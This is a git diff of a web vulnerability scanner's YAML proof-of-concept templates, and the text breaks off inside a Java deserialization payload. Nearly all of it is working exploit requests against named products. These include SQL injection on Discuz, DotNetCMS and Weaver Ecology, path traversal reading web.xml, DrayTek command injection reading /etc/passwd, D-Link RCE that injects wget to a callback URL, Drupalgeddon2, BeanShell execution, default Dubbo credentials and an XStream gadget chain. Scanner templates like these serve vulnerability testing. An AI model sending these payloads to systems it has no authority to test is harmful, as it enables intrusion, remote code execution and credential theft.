response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed055") && response.body.bcontains(b"Discuz! info: MySQL Query Error") +detail: + author: leezp + Affected Version: "discuz <=v7.2" + vuln_url: "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20" + links: + - https://blog.csdn.net/weixin_40709439/article/details/82780606 diff --git a/WebScan/pocs/discuz-wechat-plugins-unauth.yml b/WebScan/pocs/discuz-wechat-plugins-unauth.yml new file mode 100644 index 0000000..af05c8a --- /dev/null +++ b/WebScan/pocs/discuz-wechat-plugins-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-discuz-wechat-plugins-unauth +rules: + - method: GET + path: '/plugin.php?id=wechat:wechat&ac=wxregister' + follow_redirects: false + expression: | + response.status == 302 && "set-cookie" in response.headers && response.headers["set-cookie"].contains("auth") && "location" in response.headers && response.headers["location"].contains("wsq.discuz.com") +detail: + author: JrD + links: + - https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI diff --git a/WebScan/pocs/discuz-wooyun-2010-080723.yml b/WebScan/pocs/discuz-wooyun-2010-080723.yml new file mode 100644 index 0000000..66ccb26 --- /dev/null +++ b/WebScan/pocs/discuz-wooyun-2010-080723.yml @@ -0,0 +1,17 @@ +name: poc-yaml-discuz-wooyun-2010-080723 +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: >- + /viewthread.php?tid=10 + headers: + Cookie: GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Bsearcharray%5D=/.*/eui; GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Breplacearray%5D=print_r(md5({{rand}})); + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) +detail: + version: Discuz 7.x/6.x + author: Loneyer + links: + - https://github.com/vulhub/vulhub/tree/master/discuz/wooyun-2010-080723 diff --git a/WebScan/pocs/dlink-850l-info-leak.yml b/WebScan/pocs/dlink-850l-info-leak.yml new file mode 100644 index 0000000..4795c47 --- /dev/null +++ b/WebScan/pocs/dlink-850l-info-leak.yml @@ -0,0 +1,17 @@ +name: poc-yaml-dlink-850l-info-leak +rules: + - method: POST + path: /hedwig.cgi + headers: + Content-Type: text/xml + Cookie: uid=R8tBjwtFc8 + body: |- + ../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml + follow_redirects: false + expression: > + response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"") && response.body.bcontains(b"") && response.body.bcontains(b"OK") +detail: + author: cc_ci(https://github.com/cc8ci) + Affected Version: "Dir-850L" + links: + - https://xz.aliyun.com/t/2941 diff --git a/WebScan/pocs/dlink-cve-2019-16920-rce.yml b/WebScan/pocs/dlink-cve-2019-16920-rce.yml new file mode 100644 index 0000000..8df53e7 --- /dev/null +++ b/WebScan/pocs/dlink-cve-2019-16920-rce.yml @@ -0,0 +1,19 @@ +name: poc-yaml-dlink-cve-2019-16920-rce +set: + reverse: newReverse() + reverseURL: reverse.url +rules: + - method: POST + path: /apply_sec.cgi + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20{{reverseURL}} + follow_redirects: true + expression: | + response.status == 200 && reverse.wait(5) +detail: + author: JingLing(https://hackfun.org/) + links: + - https://www.anquanke.com/post/id/187923 + - https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3 diff --git a/WebScan/pocs/dlink-cve-2019-17506.yml b/WebScan/pocs/dlink-cve-2019-17506.yml index 87cdc7d..aab4f6b 100644 --- a/WebScan/pocs/dlink-cve-2019-17506.yml +++ b/WebScan/pocs/dlink-cve-2019-17506.yml @@ -7,7 +7,7 @@ rules: body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a follow_redirects: false expression: > - response.status == 200 && response.body.bcontains(b"") && response.body.bcontains(b"") + response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"") && response.body.bcontains(b"") detail: author: l1nk3r,Huasir(https://github.com/dahua966/) links: diff --git a/WebScan/pocs/dlink-cve-2020-25078-account-disclosure.yml b/WebScan/pocs/dlink-cve-2020-25078-account-disclosure.yml index 7fa21e7..34a32bc 100644 --- a/WebScan/pocs/dlink-cve-2020-25078-account-disclosure.yml +++ b/WebScan/pocs/dlink-cve-2020-25078-account-disclosure.yml @@ -5,8 +5,9 @@ rules: /config/getuser?index=0 follow_redirects: false expression: | - response.status == 200 && response.body.bcontains(b"name=admin") && response.body.bcontains(b"pass=") && response.headers["Content-Type"].contains("text/plain") + response.status == 200 && response.headers["Content-Type"].contains("text/plain") && response.body.bcontains(b"name=admin") && response.body.bcontains(b"pass=") + detail: author: kzaopa(https://github.com/kzaopa) links: - - https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg \ No newline at end of file + - https://mp.weixin.qq.com/s/b7jyA5sylkDNauQbwZKvBg diff --git a/WebScan/pocs/dlink-cve-2020-9376-dump-credentials.yml b/WebScan/pocs/dlink-cve-2020-9376-dump-credentials.yml index fcbcf31..2d56a66 100644 --- a/WebScan/pocs/dlink-cve-2020-9376-dump-credentials.yml +++ b/WebScan/pocs/dlink-cve-2020-9376-dump-credentials.yml @@ -7,9 +7,9 @@ rules: body: >- SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 expression: > - response.status == 200 && response.body.bcontains(b"Admin") && response.body.bcontains(b"") && response.body.bcontains(b"") + response.status == 200 && response.content_type.contains("xml") && response.body.bcontains(b"Admin") && response.body.bcontains(b"") && response.body.bcontains(b"") detail: author: x1n9Qi8 Affected Version: "Dlink DIR-610" links: - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376 \ No newline at end of file + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376 diff --git a/WebScan/pocs/dlink-dcs-info-leak.yml b/WebScan/pocs/dlink-dcs-info-leak.yml deleted file mode 100644 index 746ff9f..0000000 --- a/WebScan/pocs/dlink-dcs-info-leak.yml +++ /dev/null @@ -1,9 +0,0 @@ -name: poc-yaml-dlink-dcs-info-leak -rules: - - method: GET - path: /config/getuser?index=0 - expression: response.status == 200 && response.body.bcontains(b"name=") && response.body.bcontains(b"pass=") && response.body.bcontains(b"priv=") -detail: - author: jingling(https://github.com/shmilylty) - links: - - https://mp.weixin.qq.com/s/cG868wc7dmwxFslcwlgDpw \ No newline at end of file diff --git a/WebScan/pocs/dlink-dsl-2888a-rce.yml b/WebScan/pocs/dlink-dsl-2888a-rce.yml new file mode 100644 index 0000000..9119300 --- /dev/null +++ b/WebScan/pocs/dlink-dsl-2888a-rce.yml @@ -0,0 +1,25 @@ +name: poc-yaml-dlink-dsl-2888a-rce +rules: + - method: GET + path: /page/login/login.html + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"var ModelName=\"DSL-2888A\";") + - method: POST + path: / + body: username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b + headers: + Content-Type: application/x-www-form-urlencoded + follow_redirects: false + expression: | + response.status == 302 && response.headers["location"] == "/page/login/login_fail.html" + - method: GET + path: /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=id + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("text/html") && response.body.bcontains(b"uid=0(admin) gid=0(admin)") +detail: + author: mvhz81 + info: dlink-dsl-2888a CVE-2020-24579(Insufficient Authentication) + Hidden Functionality (CVE-2020-24581) = RCE + links: + - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/ diff --git a/WebScan/pocs/docker-api-unauthorized-rce.yml b/WebScan/pocs/docker-api-unauthorized-rce.yml index 2ddd55a..44644e5 100644 --- a/WebScan/pocs/docker-api-unauthorized-rce.yml +++ b/WebScan/pocs/docker-api-unauthorized-rce.yml @@ -4,7 +4,7 @@ rules: path: /info follow_redirects: false expression: | - response.status == 200 && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir") + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir") detail: author: j4ckzh0u(https://github.com/j4ckzh0u) diff --git a/WebScan/pocs/dotnetcms-sqli.yml b/WebScan/pocs/dotnetcms-sqli.yml new file mode 100644 index 0000000..4112735 --- /dev/null +++ b/WebScan/pocs/dotnetcms-sqli.yml @@ -0,0 +1,21 @@ +name: poc-yaml-dotnetcms-sqli +set: + r1: randomInt(800000000, 1000000000) + r2: randomInt(1, 100) +rules: + - method: GET + path: /user/City_ajax.aspx + follow_redirects: false + expression: | + response.status == 200 + - method: GET + path: >- + /user/City_ajax.aspx?CityId={{r2}}'union%20select%20sys.fn_sqlvarbasetostr(HashBytes('MD5','{{r1}}')),2-- + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(string(r1)))) +detail: + Affected Version: "v1.0~v2.0" + links: + - https://www.cnblogs.com/rebeyond/p/4951418.html + - http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0150742 diff --git a/WebScan/pocs/draytek-cve-2020-8515.yml b/WebScan/pocs/draytek-cve-2020-8515.yml new file mode 100644 index 0000000..32b8111 --- /dev/null +++ b/WebScan/pocs/draytek-cve-2020-8515.yml @@ -0,0 +1,15 @@ +name: poc-yaml-draytek-cve-2020-8515 +rules: + - method: POST + path: /cgi-bin/mainfunction.cgi + headers: + Content-Type: text/plain; charset=UTF-8 + body: >- + action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2f/etc/passwd%26id%26pwd&loginUser=a&loginPwd=a + expression: > + response.status == 200 && response.body.bcontains(b"uid") && response.body.bcontains(b"gid") && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: Soveless(https://github.com/Soveless) + Affected Version: "Vigor2960, Vigor300B, Vigor3900 < v1.5.1, VigorSwitch20P2121, VigorSwitch20G1280, VigorSwitch20P1280, VigorSwitch20G2280, VigorSwitch20P2280 <= v2.3.2" + links: + - https://github.com/imjdl/CVE-2020-8515-PoC diff --git a/WebScan/pocs/drupal-cve-2018-7600-rce.yml b/WebScan/pocs/drupal-cve-2018-7600-rce.yml index 22cdad0..5697049 100644 --- a/WebScan/pocs/drupal-cve-2018-7600-rce.yml +++ b/WebScan/pocs/drupal-cve-2018-7600-rce.yml @@ -2,15 +2,35 @@ name: poc-yaml-drupal-cve-2018-7600-rce set: r1: randomLowercase(4) r2: randomLowercase(4) -rules: - - method: POST - path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}} - expression: | - response.body.bcontains(bytes(r1 + "%" + r2)) +groups: + drupal8: + - method: POST + path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}} + expression: | + response.body.bcontains(bytes(r1 + "%" + r2)) + drupal7: + - method: POST + path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password + search: | + name="form_build_id"\s+value="(?P.+?)" + expression: | + response.status == 200 + - method: POST + path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + form_build_id={{build_id}} + expression: | + response.body.bcontains(bytes(r1 + "%" + r2)) detail: links: - https://github.com/dreadlocked/Drupalgeddon2 diff --git a/WebScan/pocs/drupal-cve-2018-7600-rce2.yml b/WebScan/pocs/drupal-cve-2018-7600-rce2.yml deleted file mode 100644 index 9e723bb..0000000 --- a/WebScan/pocs/drupal-cve-2018-7600-rce2.yml +++ /dev/null @@ -1,29 +0,0 @@ -name: poc-yaml-drupal-cve-2018-7600-rce -set: - r1: randomLowercase(4) - r2: randomLowercase(4) -rules: - - method: POST - path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password - search: | - name="form_build_id"\s+value="(?P.+?)" - expression: | - response.status == 200 - - method: POST - path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - form_build_id={{build_id}} - expression: | - response.body.bcontains(bytes(r1 + "%" + r2)) -detail: - links: - - https://github.com/dreadlocked/Drupalgeddon2 - - https://paper.seebug.org/567/ -test: - target: http://cve-2018-7600-8-x.vulnet:8080/ diff --git a/WebScan/pocs/drupal-cve-2019-6340.yml b/WebScan/pocs/drupal-cve-2019-6340.yml index 178a62b..9e08948 100644 --- a/WebScan/pocs/drupal-cve-2019-6340.yml +++ b/WebScan/pocs/drupal-cve-2019-6340.yml @@ -25,9 +25,9 @@ rules: } follow_redirects: true expression: | - response.status == 403 && response.body.bcontains(bytes(r1 + "%" + r2)) + response.status == 403 && response.content_type.contains("hal+json") && response.body.bcontains(bytes(r1 + "%" + r2)) detail: author: thatqier links: - https://github.com/jas502n/CVE-2019-6340 - - https://github.com/knqyf263/CVE-2019-6340 \ No newline at end of file + - https://github.com/knqyf263/CVE-2019-6340 diff --git a/WebScan/pocs/drupal-drupal7geddon2-rce.yml b/WebScan/pocs/drupal-drupal7geddon2-rce.yml deleted file mode 100644 index d9897e4..0000000 --- a/WebScan/pocs/drupal-drupal7geddon2-rce.yml +++ /dev/null @@ -1,28 +0,0 @@ -name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch] -set: - r1: randomLowercase(4) - r2: randomLowercase(4) -rules: - - method: POST - path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password - search: | - name="form_build_id"\s+value="(?P.+?)" - expression: | - response.status == 200 - - method: POST - path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - form_build_id={{build_id}} - expression: | - response.body.bcontains(bytes(r1 + "%" + r2)) -detail: - drupal_version: 7 - links: - - https://github.com/dreadlocked/Drupalgeddon2 - - https://paper.seebug.org/567/ diff --git a/WebScan/pocs/drupal-drupal8geddon2-rce.yml b/WebScan/pocs/drupal-drupal8geddon2-rce.yml deleted file mode 100644 index d8f6192..0000000 --- a/WebScan/pocs/drupal-drupal8geddon2-rce.yml +++ /dev/null @@ -1,20 +0,0 @@ -name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch] -set: - r1: randomLowercase(4) - r2: randomLowercase(4) -rules: - - method: POST - path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" - headers: - Content-Type: application/x-www-form-urlencoded - body: | - form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}} - expression: | - response.body.bcontains(bytes(r1 + "%" + r2)) -detail: - drupal_version: 8 - links: - - https://github.com/dreadlocked/Drupalgeddon2 - - https://paper.seebug.org/567/ -test: - target: http://cve-2018-7600-8-x.vulnet:8080/ diff --git a/WebScan/pocs/dubbo-admin-default-password.yml b/WebScan/pocs/dubbo-admin-default-password.yml new file mode 100644 index 0000000..9c8cb6d --- /dev/null +++ b/WebScan/pocs/dubbo-admin-default-password.yml @@ -0,0 +1,20 @@ +name: poc-yaml-dubbo-admin-default-password +groups: + root: + - method: GET + path: / + headers: + Authorization: Basic cm9vdDpyb290 + expression: | + response.status == 200 && response.body.bcontains(b"Dubbo Admin") && response.body.bcontains(b": root', '/logout'") && response.body.bcontains(b"/sysinfo/versions") + guest: + - method: GET + path: / + headers: + Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= + expression: | + response.status == 200 && response.body.bcontains(b"Dubbo Admin") && response.body.bcontains(b": guest', '/logout'") && response.body.bcontains(b"/sysinfo/versions") +detail: + author: mumu0215(https://github.com/mumu0215) + links: + - https://www.cnblogs.com/wishwzp/p/9438658.html diff --git a/WebScan/pocs/duomicms-sqli.yml b/WebScan/pocs/duomicms-sqli.yml new file mode 100644 index 0000000..08d901e --- /dev/null +++ b/WebScan/pocs/duomicms-sqli.yml @@ -0,0 +1,13 @@ +name: poc-yaml-duomicms-sqli +rules: + - method: GET + path: >- + /duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(2000000005))) + follow_redirects: false + expression: | + response.body.bcontains(b"fc9bdfb86bae5c322bae5acd78760935") +detail: + author: hanxiansheng26(https://github.com/hanxiansheng26) + Affected Version: "duomicms<3.0" + links: + - https://xz.aliyun.com/t/2828 \ No newline at end of file diff --git a/WebScan/pocs/dvr-cve-2018-9995.yml b/WebScan/pocs/dvr-cve-2018-9995.yml new file mode 100644 index 0000000..f05e8e1 --- /dev/null +++ b/WebScan/pocs/dvr-cve-2018-9995.yml @@ -0,0 +1,15 @@ +name: poc-yaml-dvr-cve-2018-9995 +rules: + - method: GET + path: >- + /device.rsp?opt=user&cmd=list + headers: + Cookie: uid=admin + follow_redirects: true + expression: > + response.status == 200 && response.body.bcontains(bytes("\"uid\":")) && response.body.bcontains(b"playback") +detail: + author: cc_ci(https://github.com/cc8ci) + Affected Version: "DVR" + links: + - https://s.tencent.com/research/bsafe/474.html \ No newline at end of file diff --git a/WebScan/pocs/e-zkeco-cnvd-2020-57264-read-file.yml b/WebScan/pocs/e-zkeco-cnvd-2020-57264-read-file.yml new file mode 100644 index 0000000..a7578cc --- /dev/null +++ b/WebScan/pocs/e-zkeco-cnvd-2020-57264-read-file.yml @@ -0,0 +1,10 @@ +name: poc-yaml-e-zkeco-cnvd-2020-57264-read-file +rules: + - method: GET + path: /iclock/ccccc/windows/win.ini + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: ThestaRY (https://github.com/ThestaRY7/) + links: + - https://www.cnvd.org.cn/flaw/show/CNVD-2020-57264 + info: E-ZKEco readfileCNVD-2020-57264 diff --git a/WebScan/pocs/ecology-filedownload-directory-traversal.yml b/WebScan/pocs/ecology-filedownload-directory-traversal.yml new file mode 100644 index 0000000..d34c14b --- /dev/null +++ b/WebScan/pocs/ecology-filedownload-directory-traversal.yml @@ -0,0 +1,11 @@ +name: poc-yaml-ecology-filedownload-directory-traversal +rules: + - method: GET + path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"/weaver/") +detail: + author: l1nk3r + links: + - https://www.weaver.com.cn/cs/securityDownload.asp diff --git a/WebScan/pocs/ecology-javabeanshell-rce.yml b/WebScan/pocs/ecology-javabeanshell-rce.yml new file mode 100644 index 0000000..195296f --- /dev/null +++ b/WebScan/pocs/ecology-javabeanshell-rce.yml @@ -0,0 +1,16 @@ +name: poc-yaml-ecology-javabeanshell-rce +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: /weaver/bsh.servlet.BshServlet + body: >- + bsh.script=print%28{{r1}}*{{r2}}%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: l1nk3r + links: + - https://www.weaver.com.cn/cs/securityDownload.asp \ No newline at end of file diff --git a/WebScan/pocs/ecology-springframework-directory-traversal.yml b/WebScan/pocs/ecology-springframework-directory-traversal.yml new file mode 100644 index 0000000..240ac4c --- /dev/null +++ b/WebScan/pocs/ecology-springframework-directory-traversal.yml @@ -0,0 +1,11 @@ +name: poc-yaml-ecology-springframework-directory-traversal +rules: + - method: GET + path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"/weaver/") +detail: + author: l1nk3r + links: + - https://www.weaver.com.cn/cs/securityDownload.asp diff --git a/WebScan/pocs/ecology-syncuserinfo-sqli.yml b/WebScan/pocs/ecology-syncuserinfo-sqli.yml new file mode 100644 index 0000000..fee157a --- /dev/null +++ b/WebScan/pocs/ecology-syncuserinfo-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-ecology-syncuserinfo-sqli +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: GET + path: >- + /mobile/plugin/SyncUserInfo.jsp?userIdentifiers=-1)union(select(3),null,null,null,null,null,str({{r1}}*{{r2}}),null + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://www.weaver.com.cn/ diff --git a/WebScan/pocs/ecology-v8-sqli.yml b/WebScan/pocs/ecology-v8-sqli.yml new file mode 100644 index 0000000..81c3ebb --- /dev/null +++ b/WebScan/pocs/ecology-v8-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-ecology-v8-sqli +set: + r1: randomInt(1000, 9999) + r2: randomInt(1000, 9999) +rules: + - method: GET + path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) + +detail: + author: Print1n(http://print1n.top) + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20V8%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html diff --git a/WebScan/pocs/ecology-workflowcentertreedata-sqli.yml b/WebScan/pocs/ecology-workflowcentertreedata-sqli.yml new file mode 100644 index 0000000..f27ae27 --- /dev/null +++ b/WebScan/pocs/ecology-workflowcentertreedata-sqli.yml @@ -0,0 +1,19 @@ +name: poc-yaml-ecology-workflowcentertreedata-sqli +set: + r1: randomInt(4000, 9999) + r2: randomInt(800, 1000) +rules: + - method: POST + path: /mobile/browser/WorkflowCenterTreeData.jsp + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + node=wftype_1132232323231&scope=23332323&formids=1111111111111%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a)))union+select+1024,({{r1}}*{{r2}})+order+by+(((1 + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + links: + - https://anonfiles.com/A4cede8an1/_OA_WorkflowCenterTreeData_oracle_html + - https://mp.weixin.qq.com/s/9mpvppx3F-nTQYoPdY2r3w \ No newline at end of file diff --git a/WebScan/pocs/ecology-workflowservicexml.yml b/WebScan/pocs/ecology-workflowservicexml.yml new file mode 100644 index 0000000..c244dc0 --- /dev/null +++ b/WebScan/pocs/ecology-workflowservicexml.yml @@ -0,0 +1,32 @@ +name: poc-yaml-ecology-workflowservicexml +set: + rand1: randomInt(1000, 9999) + rand2: randomInt(1000, 9999) +groups: + windows: + - method: POST + path: /services%20/WorkflowServiceXml + follow_redirects: false + headers: + Content-Type: text/xml + cmd: type c:\\windows\\win.ini + body: | + <java.util.PriorityQueue serialization="custom"> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class="org.apache.commons.beanutils.BeanComparator"> <property>outputProperties</property> <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/> </comparator> </default> <int>3</int> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom"> <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl> <default> <__name>Pwnr</__name> <__bytecodes> 